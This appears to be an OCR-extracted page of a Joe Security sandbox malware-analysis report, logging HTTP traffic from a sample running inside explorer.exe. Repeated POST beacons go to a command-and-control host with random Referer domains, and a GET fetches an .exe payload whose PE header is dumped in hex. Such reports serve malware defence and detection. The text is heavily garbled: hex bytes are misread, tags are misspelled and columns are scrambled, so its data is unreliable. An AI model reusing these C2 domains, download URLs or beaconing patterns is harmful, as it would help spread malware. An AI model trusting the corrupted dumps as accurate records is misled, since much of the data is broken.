2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0
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kBytes

Timestamp transferred
Session ID Source IP
14 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2850

09:14:03.292432070 CET

Dec 1, 2021 2851
09:14:03.394383907 CET

Session ID Source IP
15 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2852

09:14:03.563349962 CET

Copyright Joe Security LLC 2021

Direction

Source Port

49770

Direction

ouT

Source Port
49771

Direction
ouT

Data

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://pjndoeiyl.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 288

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:03 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hmyqurtmv.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 254

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Dec 1, 2021 2853
09:14:03.664793015 CET

Session ID Source IP
16 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2854

09:14:03.800296068 CET

Dec 1, 2021 2854
09:14:03.903609991 CET

Session ID Source IP
17 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2855

09:14:04.442909002 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49772

Direction

ouT

Source Port
49773

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:03 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://yxndp.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 110

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:03 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://luugcbey.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 177

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Dec 1, 2021 2856
09:14:04.543385029 CET

Session ID Source IP
18 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2857

09:14:04.637927055 CET

Dec 1, 2021 2858
09:14:04.740947008 CET

Session ID Source IP
19 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2859

09:14:06.034493923 CET

Dec 1, 2021 2860
09:14:06.136996031 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49774

Direction

ouT

Source Port
49775

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://pxptimk.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 266

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://smfbsrgxse.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 306

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close
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Session ID Source IP
2 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 1079

09:13:55.320594072 CET

Dec 1, 2021 1080
09:13:55.425843000 CET

Session ID Source IP
20 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2860

09:14:06.227667093 CET

Dec 1, 2021 2861
09:14:06.335937023 CET

Session ID Source IP
21 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2862

09:14:06.425805092 CET

Dec 1, 2021 2863
09:14:06.530718088 CET

Copyright Joe Security LLC 2021

Source Port

49757

Direction

ouT

Source Port

49776

Direction

ouT

Source Port
49777

Direction
ouT

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://nbriredl.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 368

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:13:55 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 0d Oa 14 00 00 00 7b fa f7 1b b5 69 2b 2c 47 fa Oe a8 c1 82 9f 4f 1a c4 da 16 00 0d Oa 30 0d Oa 0d Oa
Data Ascii: 19{i+,GO0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://nabmhhv.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 145

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://mdyfwsxro.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 336

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08
93 31 f9 55 50 99 4a 7 e0 25 e5 39 1a 48 ec a0 8a 70 bc 57 da 4a d4 {6 2e 87 25 eb ¢3 94 58 23 €3 a8 1d 63 a9 0d Oa 30
0d Oa 0d Oa

Data Ascii: 461:820U&1UPJ%9HpWJ.%X#c0
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Session ID Source IP
22 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 2864

09:14:06.886311054 CET

Dec 1, 2021 2865
09:14:06.968278885 CET

Session ID Source IP
23 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 3034

09:14:09.580408096 CET

Copyright Joe Security LLC 2021

Source Port

49778

Direction

ouT

Source Port
49779

Direction
ouT

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

GET /files/6096_1638289274_6885.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-file-host-3.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:06 GMT

Content-Type: application/x-msdos-program

Content-Length: 163328

Connection: close

Last-Modified: Tue, 30 Nov 2021 16:21:14 GMT

ETag: "27e00-5d203f23b200e"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
50 45 00 00 4c 01 07 00 53 ec f2 5f 00 00 00 00 00 00 00 00 e0 00 03 01 Ob 01 0a 00 00 42 01 00 00 ec 74 02 00 00 00 00
12 2a 00 00 00 10 00 00 00 60 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00
00 00 40 76 02 00 04 00 00 78 5b 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00
00 00 00 00 00 00 00 00 00 00 44 e8 01 00 78 00 00 00 00 b0 75 02 18 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 b0 61 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 d8 95 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 40 01 00 00 10 00 00 00 42 01 00 00 04 00 00 00 00
00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 90 00 00 00 60 01 00 00 92 00 00 00 46 01 00 00
00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 75 73 02 00 00 02 00 00 18 00 00 00 d8 01 00
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 65 66 65 67 00 00 72 02 00 00 00 80 75 02 00 04 00 00 00 fO 01 O
0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 67 75 79 75 73 00 00 70 02 00 00 00 90 75 02 00 04 00 00 00 f4 01
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 76 65 6e 75 00 00 00 17 00 00 00 00 a0 75 02 00 02 00 00 00 f8
01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2e 72 73 72 63 00 00 00 18 83 00 00 00 b0 75 02 00 84 00 00 00
fa 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 33 44 24 04 c2 04 00 81 00 40 36 ef c6 c3 55 8b ec 81 ec 2c Oc 00 00 8b 45 08 53 56 8b 30
8b 40 04 57 33 ff 81 3d 04 50 b5 02 ee 00 00 00 89 45 f8 75 09 57 57

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS_Bt* @ @vx[Dxua@ d.textP@B ".rdata~'F@@
.data’us@.fefegru@@.guyuspu@ .venuu@ .rsrcu@@3D$@6U,ESVO@W3=PEUWW

Destination IP  Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kpgguo.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 230

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Dec 1, 2021 3035
09:14:09.682729006 CET

Session ID Source IP
24 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 3036

09:14:09.771330118 CET

Dec 1, 2021 3037
09:14:09.873147964 CET

Session ID Source IP
25 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 3037

09:14:09.991312027 CET

Dec 1, 2021 3038
09:14:10.090151072 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49780

Direction

ouT

Source Port
49781

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
